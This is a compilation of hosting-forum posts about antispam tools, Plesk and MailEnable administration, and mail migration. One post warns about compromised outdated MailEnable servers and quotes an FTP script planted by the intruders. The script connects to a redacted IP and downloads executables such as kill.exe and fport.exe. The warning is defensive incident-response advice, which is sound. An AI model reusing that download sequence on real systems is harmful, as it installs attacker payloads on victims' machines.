We do little hosting since a couple of years but want to expend our hosting solution.
Actually, we user ASSP and SpamAssasin to block spam but we are looking for a better solution, something who get power and who is easy to user for end user...
I take a look at barracuda but it's very expensive...
we provide a community portal for our users, we run the possibility of setting up a mail from us. Since we have limited experience with anti-spam configuration and we do not like spam bothering our users, looking for suitable "hosted antispam solution.
I would be interested in knowing if anyone has used the data returned from Senderbase.org as part of their antispam evaluation. And if yes, have you found this to be effective compared to traditional IP blacklists like SpamHaus ?
We have been more than 2 years with Liquidweb. Yes, great machine and datacenter. We were using spamassasin as bundled software on cpanel to fight with spammer, but it was not good enough.
1 year ago we decided to install ASSP Deluxe antispam on our dedicated server, bought from grscripts.com. Its powerful software against the spammer which succesfuly isolate them on a separate folder/email. And our clients happy working on emailing activity.
But in the early of 2009, liquidweb has terminated the software as it's not match with their TOS. Its a weird policy since we installed it 1 year ago.
Honestly, we want to keep you (liquidweb) as our valuable datacenter, but we need solution to keep running a business and stay alive on it. Otherwise we have no choice to migrate our dedicated server (consume a lot of time and energy).
I have noticed that a customer's emails are banned by certain RBL/antispam filters even though they are sent using SMTP-Authentication through a non-banned SMTP server.
It seems that its ISP IP is blacklisted..... Is this normal?
I migrated many domains to a Plesk 12 with lot of email accounts. I need to find a way to mass enable antispam and DR.Web anti virus.
How can I enable to all accounts the antispam with certain parameters Ex. 5 Points and Mark **SPAM** _SCORE_ in the subject and also enable Dr.Web for incoming email.
when i click "Email Accounts" section in Helm see "Failed to get Email Accounts",also cant add any new Email Account, Helm Log:
Cannot create ActiveX component. at Microsoft.VisualBasic.Interaction.CreateObject(String ProgId, String ServerName) at MailEnable.Administration.Mailbox.GetAutoResponderStatus() at WHA.Helm.Providers.MailEnableProvider.MailEnableEngine.GetAccount(String name) at WHA.Helm.Providers.MailEnableProvider.MailEnableEngine.GetAccountList() at MailEnableProvider.ListEmailAccounts(ProviderData CommandData) ......
I didn't see this posted anywhere here so I just thought I'd give everyone who uses MailEnable a heads up. If you are not using the most up to date version of MailEnable, run to [url] and download it.
I have seen couple of dozen boxes getting infected because they had a MailEnable Standard 1.95 for instance (or Professional 2.11), or anything else that's not up to date. Virus(es) are severe and will cause you a lot of problems... if your server still hasn't been infected and you're not using the latest MailEnable, go upgrade right away!
If you are a hosting company and are using Plesk 7.6.1 you definitely have your helpdesk swapped by now. Biggest problem is that Plesk 7.6.1 comes with MailEnable Std 1.95 where the latest version is 1.981. I have seen servers that were clean OS installs, Plesk 7.6.1 installed and 5 minutes after the box was compromised.
If you are still able to access the box by RDP (or have access to it locally), make sure to disable MailEnable SMTP Relay Service. This is not a part of MailEnable and if you don't disable it you won't be able to remove rdriv.sys from your system32 directory which does quite something to your server. Also check for following:
Make sure you don't have script1.txt in system32, and if you have it make sure to remove it. It contains:
open XXX.XXX.XXX.XXX (IP edited away by Boon Chuan to prevent abuse) user anonymous anonymous@on.the.net lcd c:windowssystem32 get explorer.exe get runservice_bis.dll get kill.exe get fport.exe get hyberport.exe get JASFV.INI bye
Nothing has been heard from SWsoft about this issue yet...
I have MailEnable free on a windows server with Plesk 8.1.
I need IMAP so I thought at hMail. The problem:
I need to copy all the mail content to hMail as I understand Plesk will copy all the accounts except the mail content.
I have found that I can use some vbs from PMM but that requires me to know all the accounts passwords and to do manually every backup/restore for all the e-mails.
Is there an other way to switch to hMail without loosing the mail content ? (IMAPCopy is not an option as it need IMAP and that is not present in MailEnable free, and also needs all all the passwords for all the accounts).
An other problem, I do not have an other windows server so I cannot use Plesk Migration Manager to migrate accounts and then migrate back.
we received a report of a malicious mail being sent from our servers. Problem is that the sender and recipients are not hosted with us. What I'm trying to find out is how the mail got sent out. The ME logs shows that the connection was made from 127.0.0.1 to the smtp service, but that's it.
We don't run mail services (pop3/imap/webmail) on the web servers, if that helps any. Have run out of ideas after sifting thru lots of logs (was trying to find if anyone called an application to send the mail and attachments out), but came up empty.
I'm using the free edition of MailEnable and need to configure each post office to copy all incoming and outgoing email to one of the email accounts on the same post office.
Is there a way to configure this ?
I know I can configure mail forwarding on incoming mail per account but need to do it for all acounts (except the audit account).
e.g. anythinghere@dbnetsolutions.co.uk incoming or outgoing would be copied to audit@dbnetsolutions.co.uk
I added users directly to mailenable (using their migration utility to import from an old mail server which plesk does not support). The domains exist in plesk but not the individual email users/mailboxes.
Now I want to add those email users to plesk but it doesn't let (not surprisingly), when I try to add a user it returns an error: "Unable to update the mail account properties:mailmng failed: MEAOPO.Mailbox.AddMailbox failed"
My question is: How can I add the users that already exist in MailEnable to the plesk configuration? (i.e. ignore the error and add the user to the plesk database, or even better yet if plesk can read the configuration and add all users)
Tthe plesk kb articles suggest running mchk.exe but that is designed to take users from plesk and add them to mailenable, I need the reverse).
Is there a way to configure the mailing lists created with Plesk (using MailEnable 6.5) using Plesk or another web interface like it is possible with mailman under Linux?
It is not very convenient to be required to do such stuff via RDP (and so manual by me for every customer)...
I use Windows Plesk v 11.5.30 with Mailenable Standard Edition 7.0 version. In mailenable site i saw a new version of Mailenable standard version (7.5.1). URL...Can i download and update Mailenable version of my Windows PLesk? If i made this change and have problem can i do downgrande later?
